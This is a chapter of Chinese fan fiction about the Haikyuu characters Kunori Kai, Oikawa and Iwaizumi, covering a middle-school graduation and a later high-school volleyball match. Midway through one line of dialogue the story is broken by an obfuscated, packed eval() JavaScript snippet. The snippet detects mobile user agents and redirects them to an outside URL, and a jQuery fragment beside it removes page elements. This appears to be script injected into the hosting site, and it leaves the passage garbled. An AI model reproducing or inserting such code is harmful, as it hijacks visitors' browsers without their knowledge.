“如果及川学长的性格和岩泉学长差不多，或许我会被及川学长的帅气给迷得神魂颠倒，不知天地为何物吧。” 九里绘叹气：“可惜及川学长已经是这种性格的人了，很难让我再体会到帅气。” “总之是在夸你。”岩泉牌翻译器上线。 旁边人笑得不行，拍了拍及川彻的肩膀：“实在不行的话，及川你毕业典礼那天表演节目，把岩泉和九里学妹一起叫上吧。” 及川彻气得话也说不出来。 演什么？现场表演漫才吗？！ 他不要面子的嘛！ 43.43章 43章——洞察，发掘，最后是诞生 临近期末考试，九里绘像极了一朵枯萎的花。 近阶段主科成绩加到一起的总和刚到她的身高，体育课倒是照样满分，美术课和音乐课紧随其后，家政课垫底。 “为什么会有女生的家政课成绩烂成那样啊～” 背地里嚼舌根的声音传到九里绘的耳边，她的字典里从来都没有隐忍二字，当即说：“放学后，校门口见。” 那人吓得当天狂敲班主任办公室的门，被班主任以“没事找事”给请回去了。 “九里虽然不擅长社交，但也不至于和你口中描述的那样，特意约出来揍你一顿的。”班主任连连摇头，“别再瞎猜了。” “可是……” 班主任：“没什么可是的。” “如上，我路过的时候碰巧听到了这样的对话。”及川彻忿忿不平地说，“该怎么教训那家伙好呢……” 岩泉一想了想：“让他自愿负荆请罪？” “小岩好可怕。”及川彻撑着下巴，表情严肃，“理想情况下我也希望是这样。” “但毕竟绘酱还要和那家伙当一段时间的同学，至少场面上不能做得太过分，你说是吧？” 九里绘由衷地感慨道：“社交，好麻烦。” “小岩，我好像感受到绘酱独有的冷空气从我背后凭空出现了。”及川彻一秒切换到不正经的语气，“救命，请救救我。” “你原本打算约那家伙到校门口做什么？”岩泉一问。 九里绘：“有两个可能，一个是我心情不好，揍他一顿……” 及川彻欲言又止：“还真的是揍人啊！” “还有一个可能是，我心情好，带他回我家看看冰箱里的便当。” “然后他就会发现，我全家上下凑不出半点厨艺，打扫方面每周会请一次钟点工，所以不擅长家政课。” 及川彻擦了擦不存在的汗：“吓我一跳，绘酱还是能和小岩不一样讲道理的嘛。” 岩泉一随后补充道：“你要是光揍他，容易得到学校的处分，太亏了。” 及川彻点头附和：“就是就是！” 岩泉一：“他要是再犯，就约一个隐蔽点的地方揍，别定校门口。” 及川彻扭头：“嗯？嗯嗯？” 岩泉一：“最好在监控拍不到的地方。” 九里绘恍然大悟：“原来如此！” 后来，那起事件以背地里嚼舌根的同学在全班面前向九里绘鞠躬道歉告终。 可是九里绘没有在校门口赴约，也没有另找时间动手揍他。 无人知道是谁做了什么事，才让那名同学心甘情愿地低头认错。 ……只是暗地里做完这一切还装作无事发生的“嫌疑人”身份倒是挺明显的。 有点像在《名侦探〇南》里面分析凶手，已知一共有三个知情人，九里绘没有动手，岩泉一有不在场证明，那么真相只有一个。 “及川学长。” “怎么了？” “没什么，单纯多叫叫你，希望过个几年我不会记错你的名字。” “我懂的，太崇拜及川大人以至于不好意思说出口，是吧？” “确实。” “？”及川彻一头撞在硬板似的直球上，他懵了，望着逐渐走远的九里绘喊，“等下，你说清楚原因啊！发生什么事了嘛？” 不然怎么会平白无故地夸起他啊！？ * 谈及国中时代的偶像话题。 事实上，崇拜岩泉一除了他本人的人格魅力非常吸引九里绘之外，还有一个理由。 那就是她向往理想中的自己在长大后，能成为岩泉学长那样的类型。 “这么喜欢小岩就每天黏着他呀，和我分享又没什么用。”及川彻不屑道，手指不安分地在桌板上敲击。 “你们两个不一样。”九里绘说，“偶像要保持一定距离感，如果和偶像整天唠嗑，那种高高在上的神秘感会碎掉的！” 及川彻已经能够抢答：“而我的神秘感……早就碎成一地了？” “没错。”九里绘为他的自知之明竖起大拇指，心中继续将话题深入。 提到及川彻……肯定百分百与排球领域挂钩，和他本人的生活一样充斥着大量的排球。 九里绘时常觉得，及川彻和排球仿佛天生就不能分割开来，并非有什么额外的理由，而是一种连她都能看出来的选择。 及川学长一定会把自己当作是强力胶水，死死地黏住排球。 “那就是天才了。”九里绘想当然地说，“及川学长是一个很传统的天才。” “……你说什么？”及川彻以为自己的耳朵出现了幻听。 开什么玩笑，“天才”这个词是用来形容小飞雄那样的人吧。 ……等等。 曾几何时，也有许许多多的人称赞过他在球感上的才能，傲人的身高，和最契合二传的领导力。 是他忽略掉了啊。 “能在一件事情上坚持很久的人，都是天才。”九里绘说，“我的定义就是这样，无论前因后果，只要你依然在打排球，那你就是排球届的天才。” “我说的。” “从你打了好多年还没有丧失掉胜负欲和热情的时候，我就早早地猜到了。”九里绘平静地注视着他，语气风轻云淡。 “听到及川学长你在反思和复盘，会随口把小飞鱼是个天才这句话挂在嘴边，可……” 可及川彻也是天才啊。她说。 那一刻，及川彻差点以为自己要完蛋了。 他观念中最呆呆笨笨的后辈（朋友），似乎察觉到了他潜藏在内心伺机而动的阴暗秘密，悄无声息地将它挑明出来。 然后毫无自觉地说出了一句足以让他沸腾起来的话——这句话就算再过个两年他依旧会挂在嘴边品味。 不，还不够，至少要先反复诵读个二十年吧。 “绘酱，你的直觉真是强到了不得了的地步啊。”及川彻捂脸说，“刚才那句话，实在是太帅气了，可恶。” 可恶的【天才】。 九里绘自然不清楚及川彻在刚才那番心理活动中领悟到了什么，但她能听懂字面意思，说：“谢谢，我也觉得自己很帅。” “很好的个性！”及川彻松开手，恢复到了原有的状态，语气夸张。 “作为及川大人的半个徒弟，你要把这份帅气继续贯彻下去！” 及川彻：“我会变强到让你都羡慕嫉妒的程度，以后你逢人就会忍不住炫耀‘我的排球是那位及川学长教的’！” 九里绘点点头：“好，我等着。” “噗呲……哈哈哈。”及川释然地彻笑出声，“行啊，你等着。” 在此期间，他会记得。 记得除了队友和对手外，没有人发现他，但是九里绘看见了他。 …… 毕业典礼当天，九里绘去凑了个热闹。 “没抢到哥斯拉的周边……”她伤心地说。 岩泉一惊讶：“不要破费啊！” 九里绘迅速振作起来：“幸好我还有B方案！” 在她给岩泉一送上毕业礼物和祝福的同时，被她带来的好友久菜和子终于得到了垂涎已久的及川彻近距离合照。 久菜和子幸福地闭起双目，捧住相机原地升天。 “好厉害的礼物。”岩泉一双手捧着，真诚地感叹道。 及川彻赶紧冲过来围观：“什么东西？” 是一张手绘画。 那张画上有她迄今为止见过的所有北川第一男排部的成员，包括了后勤部门和教练组。 因为空间还有剩余，九里绘干脆把常来给排球部加油喝彩的学生们和及川后援会也给全都画上去了。 虽然有九成人她都喊不出名字，但能从生动的外貌特征中辨认出身份。 像什么站在后排的影山、国见和金田一，身处C位的两人分别是画风全场最精致的岩泉和异常潦草的及川。 国见英指着代表金田一的简笔图憋笑：“像大蒜头。” 金田一：“？？？” “糟糕，有点感动。”及川彻两眼泪汪汪的，赶紧背过身去。 “及川学长是抖M吗？”九里绘没忍住吐槽道，“我还有一份及川学长的礼物，你不要了吗？” 及川彻整理了一下发型和衣领，重新转过身来，郑重地低下头。 “我准备的是编了一个晚上的寄语。”九里绘说着，翻出了口袋里的草稿纸。 情感充沛、语调起起伏伏地念道：“连及川学长都还那么潇洒（脸皮厚）地活在这个世界上，我突然觉得这个世界又宽敞又大，无人关心我也没什么好在意的。” 及川彻没绷住：“我听见你括号里的内容了哦！” 九里绘：“但是有天，我想起了及川学长说过的话，‘就算没有人会注意到我，也要继续做好自己’。” “——我忽然意识到，某种程度上能说出这种话的及川学长，也是看见我了。” 她抬起眼睛：“就像我看见了及川学长一样。” 九里绘将草稿纸团成球，临场发挥：“这种感觉其实也没有想象中的多余，意外得还不错。” “要是我将来要交很多很多朋友，一定要认识及川学长这样的，性格乱七八糟，但不会让我觉得讨厌的人。” “及川学长升入高中后要早日打败那个万恶之源牛大炮，祝你们武运昌隆。” * 后面的排球部全员合照，九里绘没有参与。 等人群解散得差不多，九里绘四处张望，从排球部那群一二年级的学生堆里硬生生拽出了站在边缘的影山飞雄。 “蓝莓头。”九里绘叫唤道。 “？”影山飞雄困惑地环顾周围。 九里绘换了个叫法：“飞鱼同 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14192571|145036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学。” 影山飞雄：“哦。”原来是在叫他啊。 九里绘说：“等及川学长毕业后，你要拿后面两年的最佳二传奖，别让其他学校那个发型很丑的男的抢走。” 国见英：“豁。” 金田一：“影山这是被认可了？” 影山飞雄自动忽略掉了听不懂的内容，指尖暗自发力，回复道：“好。” “被同学亲自送上了祝福啊……这种时候，应该回礼才比较合适吧。”某位不知名的学长掺和进来。 影山飞雄愣住了一下，低头盯着九里绘那张面无表情的脸，奋力构思。 “你是什么社团的？”他撇嘴。 九里绘：“体操。” “好，你也要拿最佳体操奖，当全国的体操冠军。”影山飞雄照搬模版说道。 九里绘两眼一黑：“其实你可以不说话。” 至此，及川彻和岩泉一毕业，九里绘再也没有去过排球部所在的体育馆。 没有发现“影山飞雄”这个名字其实就是她喊了将近一个月的“飞鱼”和“蓝莓头”本人。 而直到他们那一届国中毕业，九里绘也没有当上体操队的正选，影山飞雄也没有拿到二传的奖项。 她（他们）的国中，结束了。 * 两年后，当就读乌野的九里绘在纸上涂涂画画，有时能想起那段时光中总会被她光明正大“欺负”的及川彻。 他讲到的一些技巧九里绘有在听，但听不懂，纯粹是死记硬背。 连姓都念错了，就是没忘记排球。 后来等她高一自己练起了排球，有了自己的队友，恍惚间，九里绘逐渐变得能够理解及川彻的那份自豪。 那种“我和我的队伍都是相当厉害”的愉快心情。 当她望见空中三色球的旋转，再一次让十根手指同时发力将球托起的那个瞬间，触发了埋藏已久的记忆。 仿佛是一把独一无二的钥匙，引领她将国中原本无法理解的片段，一次性通通解放出来。 “绘酱，你要不要来打二传？”及川彻一本正经地问道。 九里绘听进去了一点，但不多：“理由？” “拥有才能，对你来说肯定是一件很酷的事情。”及川彻笑了笑，用自己也能听懂的方式说，“因为你既有才能，又很容易成为自己定义下的天才。” “等你站在球场的中央，调动身体的每一个细胞去迎接比赛，那些你所掌控到的东西，会汇聚到一起回应你的。” 国中一年级，岩泉一告诉她如何用手臂垫球，及川彻教她发球和托球的动作。 高中一年级，西谷夕努力按照他的经验让她逐步拥有快速适应接球的能力，影山飞雄分享了身体的修复和保养技巧。 中尾葵克服内向，拼尽全力向她发出邀请：“请来参观女子排球部吧！” 才有了今天。 这就是【过程】。 它们流淌在时间线上的不同分支，最终聚集到一处，汇入了名为九里绘的汪洋。 是所有的经历塑造出了一个人的生命律动，并非是【结果】决定了TA的全部。 彼时彼刻，恰如此时此刻。 记忆中的及川彻倏地伸手向她指去，眼中透出一抹锐利的光芒。 “难道这样有趣的【过程】，绘酱不想自己亲自体验一番吗？” “——九里！” * 2012年6月2日，IH预选赛排球第一轮（女子组），乌野VS松丘山 随着道宫结的高喊，人们的注意力都集中在了后排。 观众们也提起了精神：开局的跳发球压制，乌野会如何应对？ 碰！ 九里绘毫不犹豫地朝着预估的落点单膝跪地，排球在手臂上砸出沉闷的重音，干脆利落地弹起，飞向网前上空。 雪菜萝丝紧张地观察场上局势，在托球前听到身旁的呼喊：“左边！” 好，这球一定要给—— “砰！”井理世诚的前排左翼进攻重扣，给对面砸了个措手不及。 恐怖的力道使得松丘山高中一阵恍惚，愣神之际，记分牌已被翻过一面。 乌野：松丘山，1：0 观众席上，姗姗来迟的西村纱奈赶着她的朋友们入座，又焦急地叫了几个乌野的学生和她一起挂横幅。 “迟到了啊啊啊，都来搭把手！” 九里绘换下场时，注意到后方传来的响动，转头一看。 有幸见证了新赶制出来的崭新横幅甩到半空、下落，和其他学校并列悬挂在一起。 白色的底纹，黑色的水墨字迹，上面的四个字九里绘意外地能看懂，而且让她有一种难以形容的满足感。 ——【不虚此行】。 九里绘轻轻地扬起嘴角，朝着并不存在及川彻的观众席上露出一个略带感慨的笑。 “啊，很有趣。”